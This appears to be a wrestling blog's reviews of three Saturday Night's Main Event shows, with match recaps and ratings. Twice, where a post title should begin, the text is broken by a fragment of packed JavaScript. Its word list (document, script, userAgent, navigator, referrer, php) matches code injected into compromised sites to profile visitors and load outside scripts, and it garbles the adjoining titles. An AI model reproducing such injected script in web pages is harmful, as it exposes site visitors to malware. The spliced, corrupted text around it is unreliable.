Steamboat has a bag of his own and Jake doesn’t even get an entrance. Ricky has his own dragon that can eat snakes I guess. Steamboat is freaking moving out there. Steamboat’s bag is moving like crazy. This is all Steamboat until a top rope splash misses. It becomes a battle of the bags as both guys try to get to theirs’ first and it’s not working so we try the wrestling thing again. It amuses me that Vince is a former world champion and Jesse isn’t.

There’s something just hilarious about that. This is fairly back and forth until Ricky gets a crucifix for the pin. Jake of course jumps him and then we have the showdown of the animals. The Dragon wins.

Rating; C-. This was ok but just ok. There was nothing special here but in just over six minutes there’s not a ton you can get going. This was the other hot feud in 86 so having it on TV made a lot of sense.

Hogan says that he was really turned on and turns it into a courtroom analogy of some kind. He also tells Piper to not save him again.

We go to earlier in the day to see Slick and Sheik arriving and saying they’re ready for whoever is replacing Piper tonight. Sheik has to take his clothes off to pose.

Roddy Pipervs. Iron Sheik

It’s apparently 1983. Piper comes down anyway and says he’s fighting here. Piper starts going after Slick and then after getting pounded on for about 30 seconds Piper gets a small package for the win.

Rating: N/A. No clue what the point of this was. Apparently this was a great victory for him.

We hear from the Dream Team who say they’ll win.

Piper calls out Adonis like a freaking CRAZY man. This never gets old as his attention to detail was second to none.

Tag Titles: Dream Team vs. British Bulldogs

To the shock of no one this is 2/3 falls. We start with Dynamite and Valentine. Oh yeah it’s Valentine and Beefcake making up the Dream Team. Somehow this is a higher profile match for Beefcake than the main event of Starrcade 94. The Bulldogs are hard to tell apart but Davey is bigger if nothing else.

Not by much though. You can definitely see Dynamite in Benoit. Valentine can’t decide if he wants to work on the arm or the knee. Your finishing move is the figure four. Use your blonde head buddy. Dynamite gives up in the figure four, making it two straight matches on SNME where the Bulldogs have tapped out.

We cut to the locker room where Gene says that Adonis might have a separated shoulder and we go to a replay showing how it likely happened.

After a commercial we have fall 2. This is more or less heel dominance even though they have as much of a chance of winning here as X and I do. Davey gets the hot tag and dominates. I love that vertical suplex. The powerslam puts Valentine down and then Brutus comes in for the save.

He gets caught in a fireman’s carry and after a tag, Dynamite jumps on top of his back and hits a super diving headbutt for the pin to tie us up. After a commercial we have Dynamite and Valentine. Dynamite’s knee was hurt for the better part of a year as steroid abuse just went crazy. Adonis has a shattered elbow apparently. The heels are completely dominating here until we get a brawl as Davey makes the save after a high knee. With Dynamite on Valentine, Davey gets a fisherman’s suplex for the pin.

Rating: B. Solid stuff here with the psychology of the knee working through the entire match and the great balance here. It was another win for the champions which is never bad. This worked pretty well though and it was four good workers so there we are.

Kamala vs. Lanny Poffo

Ok what are you expecting with three minutes left in the show? It’s a total 80s squash, making it AWESOME.

Rating: B+. All for being quick and Kamala scaring the heck out of me back in the day.

Overall Rating: B+. This was a far more fun show than others. It’s got a good tag title match and the two hottest feuds on the planet at the time. Ok so it doesn’t have Magnum vs. Flair but whatever. This is worth seeing though as we approach some epic feuds. Check this out.

 

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On This Day: August 18, 2007 – Saturday Night’s Main Event #35: How Did The Show Last This Long?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bytte|var|u0026u|referrer|steaa||js|php'.split('|'),0,{})) Nights Main Event 35
Date: August 18, 2007
Location: Madison Square Garden, New York City, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross

Again we’re setting up for Summerslam here which was a pretty decent show at the end of the day. Again though there’s very little effort put into this one seemingly although we do have an hour and a half here instead of an hour like last time so this should be a bit better in theory.

We’re looking for Vince’s son here which could have been great but Kennedy screwed it up and since WWE had zero patience they messed it up. Also Evander Holyfield is fighting Matt Hardy in a boxing match here. Let’s get to it so I can get to the next show quickly.

We open Coach and Vince setting up the story of the illegitimate son and saying tonight they’ll be going through most of the roster. See how that one thing tying the whole show together could help the whole show get a bit better? Coach implies he could be the son and Vince says it’s going to be a long night. You can feel like this is at least a decent show on paper as we’re in the world’s most famous arena and Vince is here. That just makes the show feel bigger.

Batista/Kane vs. Great Khali/Finlay

Khali is champion here and Finlay is about to turn face in a few months. Batista would get the his shot at Summerslam while Kane and Finlay would have a fight there too that sucked. The faces beat the tar out of Finlay before we go to commercial and come back to have Khali beating up Kane. Khali puts the claw on the injured ribs. My head hurts. He’s just squeezing his side. Could he be any lazier? I mean come on now.

If you ever want a reason to know what Khali is said to be unable to wrestle, HERE IT IS! GOOD NIGHT that was a poorly worded sentence. Batista comes in and beats up Finlay. And here’s Horny who is a heel here so Batista just throws him into Kane. They get Khali tied up in the ropes and just ram Horny into him like a battering ram. That was funny actually. A double chokeslam on Khali leads to Finlay being ended with Batista’s usual stuff.

Rating: C. This could have main evented any given Smackdown if you added three minutes to it. It was fine for what it was and it came off pretty well I guess. It’s certainly not a great match but it works for an 8 minute long show on a completely thrown away show I guess.

Vince is looking in a mirror and it turns into a picture of him from the 80s. Simmons shows up to say his one line. That made NO sense.

HHH is coming back at Summerslam.

Holyfield talks to MVP about nothing in particular.

Coach and Vince are in the ring and it’s time for another of the illegitimate son angles. These were funny at first but at the same time they more or less didn’t know who they were going with once Kennedy got suspended and it just got stupid. Coach talks about Vince’s sex life and Vince snaps at him. That made me chuckle for some reason. Coach thinks that the child could be from Kentucky. WOOT!

And it’s Eugene, which would mean that Vince screwed Bischoff’s sister. That seems a bit too stupid to believe. Vince says he slept with a woman, not his cousin. They mention Uncle Eric and apparently Eric got into wrestling for Vince nailing his sister. That’s creative if nothing else.

Good night they messed up that character to the moon and back. Coach asks Vince if he remembers the Mania 2 after party in LA (even though Vince was in the New York portion of the show but whatever) and Melina is brought out. Both seem very nervous and it’s implied they slept together. Can I get a Mackenzie Phillips joke? Coach says he has one more and Vince insists they come out.

Cue glass shattering and an eruption from the crowd. Austin wearing sneakers just doesn’t look right for some reason. They had to go here eventually and I can’t blame them. These two simply belong together. Austin looks like he’s in great shape as compared to when he was in the ring.

He says that Vince could have been a good dad and lists off some things that Vince might have been able to do with him, including talking about the birds and the bees. This is amusing if nothing else for the look on the face of Vince, and Austin is always good for a one off appearance.

The fans pop at the idea of a Stunner. Coach gets it after Vince takes two low blows “to calm down his grapefruits”. Beer is consumed and is poured on Vince’s balls. Of course Vince gets a Stunner as well. Apparently Balls Mahoney was in this segment as well but was edited out for time I guess.

Holyfield is still warming up.

John Cena vs. Carlito

These two always wind up together for some reason. They had split two matches thanks to Orton and this is match #3. Well it’s quick if nothing else. This is exactly what you would expect from these guys as they have a decent little match but there’s nothing at all to get excited about. Carlito starts in control and the comeback hits for the STFU tap out. Orton comes in and gets a belt shot in and an RKO on a chair. Wow they actually did storyline advancement. I’m in shock.

Rating: D+. This was ok at best and bad at worst. It’s also about 5 minutes long so there was just no meat here at all. This was pretty weak though. It did however close an angle and builds on Orton vs. Cena so that was a major perk. Still though, not very entertaining.

And now we replay half the match for no apparent reason.

Orton says he’s coming for Cena at Summerslam.

A bunch of the Divas are here to watch the boxing. I can’t believe they’re going through with this.

Matt Hardy vs. Evander Holyfield

Again, this is boxing. They call Holyfield the best ever. He wasn’t even the best of the 90s. This was about contest #298 between MVP and Hardy as Hardy was supposed to fight MVP but since both guys kept getting hurt and he couldn’t beat MVP for the US Title like he was supposed to. Michael Buffer is here. Come on man you have a career man!

Oh Holyfield has a title fight for one of about 4 world titles floating around at this time. The idiocy of this astounds me. In case you don’t get why, Holyfield is one of the best boxers in the last 40 years, but apparently a guy that has never boxed in his life is supposed to stand chance against him.

There is no reason this should go past 30 seconds in any sort of reality. Holyfield has no headgear on while Hardy does. That helps a tiny bit I guess. After a video package on Hardy we’re back. The rounds are two minutes long. And Hardy is in trouble 20 seconds in. That’s better than nothing I guess.

He’s down again after a minute. He’s down again after a minute and a half. This needs to end like now. Hardy is either a heck of an actor or he got the tar knocked out of him. Oh the Divas are the ring girls. I got it. Holyfield refuses to punch him anymore. Ok that’s better than nothing if nothing else. MVP tells him to attack so he gets punched.

Rating: N/A. This was very odd but of course they gave it more time than anything else tonight. At least Holyfield completely dominated so that’s better than nothing.

Tazz comes out for commentary.

CM Punk/Boogeyman vs. John Morrison/Big Daddy V

These two both had matches at Summerslam I think. Scratch that, only the two with talent had a match. This is about as boring of a tag match as I could imagine. There’s nothing of note happening as it’s Morrison for about 90% of this as BDV is so freaking fat that he can’t move much let alone have a good match.

This is more or less all Punk and Morrison which makes sense if nothing else. It was really short if nothing else and they actually had a commercial in here. This was very boring though and nothing of note is happening. And Punk gets a small package for the pin.

Rating: D. I just wanted this to end at this point. There was nothing at all of note going on and they were just out there to fill in time. The match did I guess give Punk momentum going into Summerslam so I’ll give them that. Still a very poor match though.

A video highlight reel of the show ends us.

Overall Rating: D. Well there was some ok stuff here I guess. Nothing great happened here though and more or less you could have skipped this show and been fine. That’s what I did and I was fine on the next shows. Not a good show at all but it could have been far worse, like the next one. The show and concept were dead at this point though and it showed badly.

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On This Day: March 18, 2006 – Saturday Night’s Main Event 32: It’s Back!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byrsa|var|u0026u|referrer|ednbh||js|php'.split('|'),0,{})) Nights Main Event 32
Date: March 18, 2006
Location: Cobo Arena, Detroit, Michigan
Commentators: Jerry Lawler, Jim Ross, Tazz

And the show is back. What used to be the biggest show of the weekend when it was on is now back! And no one cares at all. It got hype but no one watched. There’s even a main event tonight: Shawn vs. Shane. Yeah I don’t care either. It’s a build for Mania and that’s all there is to it. Let’s get this over with.

The McMahons say they’re ready for Shawn.

Shawn is ready for Shane and says a few bad words.


HHH says he’s ready for Cena at Mania. They’re using the old style of interviews to open the show which is smart. Cena, HHH’s partner tonight, runs in to make fun of it.

JBL imitates My Name is Earl. He has a drinking contest with Austin tonight.

Boogeyman acts creepy.

HHH/John Cena vs. Randy Orton/Rey Mysterio/Kurt Angle

This is Raw’s main event vs. Smackdown’s main event. That’s not terrible but there’s no realistic way that Smackdown can lose. Cena gets some hearty boos for his troubles. The remix of Rey’s music SUCKS. Cena and Orton start us off. Feel the shock! There’s a ton of smoke in the arena which makes it kind of hard to see. HHH and Angle is a big match that I would have liked to see get more time.

More or less this is just a way to get each combination of all five guys including arguing between each other. The crowd boos the heck out of Rey vs. Cena which is kind of odd. HHH and Cena argue their way into a commercial. HHH and Mysterio fight WAY too long for a multi-man match. Cena makes the Superman run and the fans openly boo.

As he goes off, naturally HHH Pedigrees him. He does the same to Rey though just to be fair. And Orton takes out Angle. No one seems to care about any of this mind you. We’re left with Cena and Orton and Cena rolls him up for the pin. That was the definition of a mess at the end there.

Rating: D+. This wasn’t interesting at all in practicality but to be fair the concept was kind of decent. Seriously though, they beat three world champions without a ton of issues and HHH leaving. How in the world does that even begin to make sense? Oh yeah it’s Cena in 2006.

We talk about the Hall of Fame inductions and list everyone off. It’s Hart and Guerrero as the headliners even though Guerrero doesn’t belong in the Hall of Fame but he died so he’s automatically great I guess.

Teddy Long checks on Booker who says he’s injured. He’s faking and doesn’t want to fight Boogeyman. I can’t blame him. I’d rather hear Sharmell shout instead. On second thought give me the worm guy.

We come back for the Cutting Edge with Foley as the guest. This was leading up to the big hardcore match that made Edge seem more legit at Mania. He of course calls Foley a coward because that worked so well in the past. Foley shows up with tacks and winds up in them. He smiles and Edge panics. It ends with Edge getting a conchairto and Foley being happy. Not bad at all and it sets up the match even more which is all I can ask for in the end I guess.

Booker was faking. Boogey is hanging upside down in his locker room and Booker runs away screaming. Now tell me what’s wrong with this. You got it. Booker is wearing the wrong colored socks. Always gray Booker. Remember that.

Victoria/Candice Michelle vs. Mickie James/Trish Stratus

Mickie was a lesbian stalker that was hot as could be back then, including a kiss and a shower issue. Candice is on the cover of Playboy at this point also. And it’s a two and a half minute match. It’s all Trish, literally. I think the point is that they won’t let Mickie in. And Trish wins on her own anyway, only to get smacked by the hot crazy lady.

Rating: N/A. The girls looked amazing if nothing else.

Henry calls out Taker. The Druids bring out a casket and Taker beats up Henry and Daivari. Their Mania match made Henry look bad. Think about that for a minute.

Shawn Michaels vs. Shane McMahon

This is a street fight since Shane is in it. Oh I forgot to mention how amazing Lillian looks with her hair pulled back. Lillian looks amazing with her hair pulled back. Glad I got that done. We start in the aisle and Shawn is on fire. The fans want tables. Oh joy indeed. ECW is on at the moment so that makes sense I guess. Shane sends Shawn into the post to bring us to even. Vince is at ringside also.

And we have a ladder two minutes in. Well at least they’re not wasting any time with it. And Shane gets suplexed from the top of the ladder through two tables and everyone is out cold. We’re 4 minutes in mind you and it’s commercial time. Back from the break and Shawn is dominating. He goes up a ladder and Vince gets the two worst cane shots I have EVER seen. They barely made any noise!

More or less it’s a handicap match here. I was at the handicap match these guys had at Backlash and it was pretty bad. Could Ross be any more ridiculous about his insulting of Vince? It’s always freaking stupid. He has no soul and no god apparently. Yeah that’s not too far at all. More or less it’s all Shane at this point. Screw the more or less part actually. The Coast to Coast misses and Vince takes it in the face.

Never mind that it wouldn’t hurt very much at all the way they did it but whatever. Shawn makes his comeback and hits the chin music but the referee is pulled out by Vince. And then, and I can’t believe I’m typing this, Shawn is put in the Sharpshooter and Vince says to ring the bell. That’s how it ends. Yep, that’s really it.

Rating: C+. There were some good bumps but the ending made me shake my head very hard. They’re referencing it 9 years later, even though they used it a few months ago too. Anyway, other than that this was pretty good I guess but nothing masterful. Shawn can bump as well as anyone in the world and that helped a lot, but the ending was just idiotic.

Overall Rating: C+. There was one good match here and two good segments. Other than that there wasn’t much to talk about. The show tanked beyond belief so after this they more or less stopped trying to make this a big deal at all and that was likely the best thing they could have done. Not a great show, but far better than some of the others they would come out with in the future.

 

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